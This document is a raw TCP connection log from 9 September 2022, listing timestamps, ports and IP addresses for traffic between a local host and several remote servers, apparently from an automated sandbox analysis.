Sep 9, 2022 18:00:39.514703035 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.514909029 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.514930964 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.515435934 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.515521049 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.516015053 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.516041994 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.516069889 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.516107082 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.516124964 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.516149044 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.516194105 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.516216040 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.516318083 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.517028093 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.517133951 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.517148018 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.517173052 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.517213106 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.517245054 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.517267942 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.517446995 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.517489910 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.517591000 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.517601967 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.517630100 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.517713070 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.517745972 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.517776966 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.517838955 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.518232107 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.518297911 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.518335104 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.518382072 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.525502920 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.525561094 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.525599957 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.525619984 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.525648117 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.525732994 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.525753975 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.525777102 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.525794983 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.525804996 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.525852919 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.525882959 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.525897026 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.525913954 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.525954962 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.525965929 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.526196957 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.527003050 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.527074099 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.527081966 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.527100086 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.527163982 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.527215004 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.527282953 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.527299881 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.527323008 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.527554035 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.527616978 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.527637959 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.527651072 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.527672052 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.527693987 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.527705908 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.527754068 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.529151917 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.529228926 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.529254913 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.529269934 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.529293060 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.529354095 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.529408932 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.529438019 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.529449940 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.529958010 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.530024052 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.530035019 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.530054092 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.530102015 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.530114889 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.530133963 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.530183077 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.530229092 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.530240059 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.530252934 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.530622005 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.530704021 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.530716896 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.530729055 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.530780077 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.530842066 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.530884027 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.530896902 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.530906916 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.531497955 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.531583071 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.531641006 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.531677961 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.531689882 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.531707048 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.531713963 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.531752110 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.531765938 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.532769918 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.532840967 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.532912016 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.532968044 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.533006907 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.533018112 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.533029079 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.533040047 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.533087969 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.533099890 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.533281088 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.533344030 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.533396959 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.533410072 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.533420086 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.533480883 CEST	443	49734	31.13.92.36	192.168.2.7
Sep 9, 2022 18:00:39.533600092 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:00:39.533621073 CEST	49734	443	192.168.2.7	31.13.92.36
Sep 9, 2022 18:01:09.089015007 CEST	49733	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:01:09.090218067 CEST	49745	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:01:09.116111994 CEST	80	49733	103.136.42.153	192.168.2.7
Sep 9, 2022 18:01:09.116266966 CEST	49733	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:01:09.120322943 CEST	80	49745	103.136.42.153	192.168.2.7
Sep 9, 2022 18:01:09.120445013 CEST	49745	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:01:09.126331091 CEST	49745	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:01:09.156583071 CEST	80	49745	103.136.42.153	192.168.2.7
Sep 9, 2022 18:01:09.157552958 CEST	80	49745	103.136.42.153	192.168.2.7
Sep 9, 2022 18:01:09.204631090 CEST	49745	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:01:09.902446032 CEST	49747	443	192.168.2.7	185.60.216.35
Sep 9, 2022 18:01:09.902482986 CEST	443	49747	185.60.216.35	192.168.2.7
Sep 9, 2022 18:01:09.903413057 CEST	49747	443	192.168.2.7	185.60.216.35
Sep 9, 2022 18:01:09.903438091 CEST	49747	443	192.168.2.7	185.60.216.35
Sep 9, 2022 18:01:09.903444052 CEST	443	49747	185.60.216.35	192.168.2.7
Sep 9, 2022 18:01:09.948627949 CEST	443	49747	185.60.216.35	192.168.2.7
Sep 9, 2022 18:01:09.948791027 CEST	49747	443	192.168.2.7	185.60.216.35
Sep 9, 2022 18:01:10.058861971 CEST	49747	443	192.168.2.7	185.60.216.35
Sep 9, 2022 18:01:10.058890104 CEST	443	49747	185.60.216.35	192.168.2.7
Sep 9, 2022 18:01:10.059334993 CEST	443	49747	185.60.216.35	192.168.2.7
Sep 9, 2022 18:01:10.061336040 CEST	49747	443	192.168.2.7	185.60.216.35
Sep 9, 2022 18:01:10.061434031 CEST	443	49747	185.60.216.35	192.168.2.7
Sep 9, 2022 18:01:10.275391102 CEST	443	49747	185.60.216.35	192.168.2.7
Sep 9, 2022 18:01:10.275487900 CEST	443	49747	185.60.216.35	192.168.2.7
Sep 9, 2022 18:01:10.275661945 CEST	443	49747	185.60.216.35	192.168.2.7
Sep 9, 2022 18:01:10.275724888 CEST	443	49747	185.60.216.35	192.168.2.7
Sep 9, 2022 18:01:10.275764942 CEST	49747	443	192.168.2.7	185.60.216.35
Sep 9, 2022 18:01:10.275780916 CEST	443	49747	185.60.216.35	192.168.2.7
Sep 9, 2022 18:01:10.275942087 CEST	49747	443	192.168.2.7	185.60.216.35
Sep 9, 2022 18:01:10.275949001 CEST	49747	443	192.168.2.7	185.60.216.35
Sep 9, 2022 18:01:10.276650906 CEST	49747	443	192.168.2.7	185.60.216.35
Sep 9, 2022 18:01:12.186157942 CEST	80	49722	103.136.42.153	192.168.2.7
Sep 9, 2022 18:01:12.186275005 CEST	49722	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:01:12.186532021 CEST	49722	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:01:12.215315104 CEST	80	49722	103.136.42.153	192.168.2.7
Sep 9, 2022 18:01:19.280097008 CEST	49731	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:01:19.281116009 CEST	49749	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:01:19.310524940 CEST	80	49749	103.136.42.153	192.168.2.7
Sep 9, 2022 18:01:19.310558081 CEST	80	49731	103.136.42.153	192.168.2.7
Sep 9, 2022 18:01:19.310620070 CEST	49749	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:01:19.310663939 CEST	49731	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:01:19.312462091 CEST	49749	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:01:19.341960907 CEST	80	49749	103.136.42.153	192.168.2.7
Sep 9, 2022 18:01:19.343158960 CEST	80	49749	103.136.42.153	192.168.2.7
Sep 9, 2022 18:01:19.397325993 CEST	49749	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:01:20.461405039 CEST	49750	443	192.168.2.7	185.60.216.35
Sep 9, 2022 18:01:20.461446047 CEST	443	49750	185.60.216.35	192.168.2.7
Sep 9, 2022 18:01:20.461826086 CEST	49750	443	192.168.2.7	185.60.216.35
Sep 9, 2022 18:01:20.462610960 CEST	49750	443	192.168.2.7	185.60.216.35
Sep 9, 2022 18:01:20.462625027 CEST	443	49750	185.60.216.35	192.168.2.7
Sep 9, 2022 18:01:20.508368015 CEST	443	49750	185.60.216.35	192.168.2.7
Sep 9, 2022 18:01:20.508553982 CEST	49750	443	192.168.2.7	185.60.216.35
Sep 9, 2022 18:01:20.622317076 CEST	49750	443	192.168.2.7	185.60.216.35
Sep 9, 2022 18:01:20.622344971 CEST	443	49750	185.60.216.35	192.168.2.7
Sep 9, 2022 18:01:20.622652054 CEST	443	49750	185.60.216.35	192.168.2.7
Sep 9, 2022 18:01:20.624635935 CEST	49750	443	192.168.2.7	185.60.216.35
Sep 9, 2022 18:01:20.624712944 CEST	443	49750	185.60.216.35	192.168.2.7
Sep 9, 2022 18:01:20.796195984 CEST	443	49750	185.60.216.35	192.168.2.7
Sep 9, 2022 18:01:20.796261072 CEST	443	49750	185.60.216.35	192.168.2.7
Sep 9, 2022 18:01:20.796308041 CEST	443	49750	185.60.216.35	192.168.2.7
Sep 9, 2022 18:01:20.796350956 CEST	443	49750	185.60.216.35	192.168.2.7
Sep 9, 2022 18:01:20.796390057 CEST	443	49750	185.60.216.35	192.168.2.7
Sep 9, 2022 18:01:20.796566010 CEST	49750	443	192.168.2.7	185.60.216.35
Sep 9, 2022 18:01:20.796587944 CEST	443	49750	185.60.216.35	192.168.2.7
Sep 9, 2022 18:01:20.796600103 CEST	49750	443	192.168.2.7	185.60.216.35
Sep 9, 2022 18:01:20.796823978 CEST	49750	443	192.168.2.7	185.60.216.35
Sep 9, 2022 18:01:20.797580004 CEST	49750	443	192.168.2.7	185.60.216.35
Sep 9, 2022 18:01:26.590331078 CEST	49751	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:01:26.621577024 CEST	80	49751	103.136.42.153	192.168.2.7
Sep 9, 2022 18:01:26.621737957 CEST	49751	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:01:26.622735977 CEST	49751	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:01:26.653796911 CEST	80	49751	103.136.42.153	192.168.2.7
Sep 9, 2022 18:01:26.655483007 CEST	80	49751	103.136.42.153	192.168.2.7
Sep 9, 2022 18:01:26.753015041 CEST	49751	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:01:27.415040970 CEST	49752	443	192.168.2.7	157.240.20.35
Sep 9, 2022 18:01:27.415105104 CEST	443	49752	157.240.20.35	192.168.2.7
Sep 9, 2022 18:01:27.415195942 CEST	49752	443	192.168.2.7	157.240.20.35
Sep 9, 2022 18:01:27.415831089 CEST	49752	443	192.168.2.7	157.240.20.35
Sep 9, 2022 18:01:27.415854931 CEST	443	49752	157.240.20.35	192.168.2.7
Sep 9, 2022 18:01:27.460253954 CEST	443	49752	157.240.20.35	192.168.2.7
Sep 9, 2022 18:01:27.460541010 CEST	49752	443	192.168.2.7	157.240.20.35
Sep 9, 2022 18:01:27.550911903 CEST	49752	443	192.168.2.7	157.240.20.35
Sep 9, 2022 18:01:27.550964117 CEST	443	49752	157.240.20.35	192.168.2.7
Sep 9, 2022 18:01:27.551296949 CEST	443	49752	157.240.20.35	192.168.2.7
Sep 9, 2022 18:01:27.555200100 CEST	49752	443	192.168.2.7	157.240.20.35
Sep 9, 2022 18:01:27.555306911 CEST	443	49752	157.240.20.35	192.168.2.7
Sep 9, 2022 18:01:27.737055063 CEST	443	49752	157.240.20.35	192.168.2.7
Sep 9, 2022 18:01:27.737142086 CEST	443	49752	157.240.20.35	192.168.2.7
Sep 9, 2022 18:01:27.737221003 CEST	49752	443	192.168.2.7	157.240.20.35
Sep 9, 2022 18:01:27.737247944 CEST	443	49752	157.240.20.35	192.168.2.7
Sep 9, 2022 18:01:27.737525940 CEST	443	49752	157.240.20.35	192.168.2.7
Sep 9, 2022 18:01:27.737581015 CEST	443	49752	157.240.20.35	192.168.2.7
Sep 9, 2022 18:01:27.737586975 CEST	49752	443	192.168.2.7	157.240.20.35
Sep 9, 2022 18:01:27.737601995 CEST	443	49752	157.240.20.35	192.168.2.7
Sep 9, 2022 18:01:27.737631083 CEST	443	49752	157.240.20.35	192.168.2.7
Sep 9, 2022 18:01:27.737667084 CEST	49752	443	192.168.2.7	157.240.20.35
Sep 9, 2022 18:01:27.737678051 CEST	443	49752	157.240.20.35	192.168.2.7
Sep 9, 2022 18:01:27.737734079 CEST	49752	443	192.168.2.7	157.240.20.35
Sep 9, 2022 18:01:27.737829924 CEST	49752	443	192.168.2.7	157.240.20.35
Sep 9, 2022 18:01:50.316010952 CEST	49749	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:01:50.339417934 CEST	49776	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:01:50.345727921 CEST	80	49749	103.136.42.153	192.168.2.7
Sep 9, 2022 18:01:50.345830917 CEST	49749	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:01:50.369391918 CEST	80	49776	103.136.42.153	192.168.2.7
Sep 9, 2022 18:01:50.369585037 CEST	49776	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:01:50.371438026 CEST	49776	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:01:50.401251078 CEST	80	49776	103.136.42.153	192.168.2.7
Sep 9, 2022 18:01:50.402303934 CEST	80	49776	103.136.42.153	192.168.2.7
Sep 9, 2022 18:01:50.458583117 CEST	49776	80	192.168.2.7	103.136.42.153
Sep 9, 2022 18:01:51.515646935 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.515729904 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.515851974 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.517875910 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.517930031 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.547600985 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.547770023 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.552053928 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.552422047 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.553117990 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.553173065 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.746037006 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.746105909 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.746233940 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.746298075 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.753606081 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.753668070 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.753703117 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.753731966 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.753776073 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.753798008 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.755162001 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.755208969 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.755247116 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.755285978 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.755429983 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.756843090 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.756961107 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.757694006 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.757797956 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.759136915 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.759182930 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.759247065 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.759289980 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.759366035 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.760416985 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.760458946 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.760520935 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.760548115 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.760611057 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.765501022 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.765552998 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.765584946 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.765616894 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.765662909 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.765841961 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.765902996 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.766891003 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.766977072 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.766990900 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.767003059 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.767066956 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.767718077 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.767770052 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.767811060 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.767839909 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.767962933 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.768599987 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.768649101 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.768695116 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.768717051 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.768851995 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.769288063 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.769373894 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.770066023 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.770112038 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.770131111 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.770143032 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.770154953 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.770193100 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.771090984 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.771128893 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.771152973 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.771161079 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.771174908 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.771210909 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.772339106 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.772377014 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.772408009 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.772432089 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.772480011 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.772562981 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.772598028 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.772624016 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.772627115 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.772640944 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.772674084 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.777350903 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.777403116 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.777435064 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.777472019 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.777523994 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.777633905 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.777674913 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.777703047 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.777718067 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.777739048 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.777771950 CEST	443	49777	157.240.17.35	192.168.2.7
Sep 9, 2022 18:01:51.777817011 CEST	49777	443	192.168.2.7	157.240.17.35
Sep 9, 2022 18:01:51.777837992 CEST	443	49777	157.240.17.35	192.168.2.7
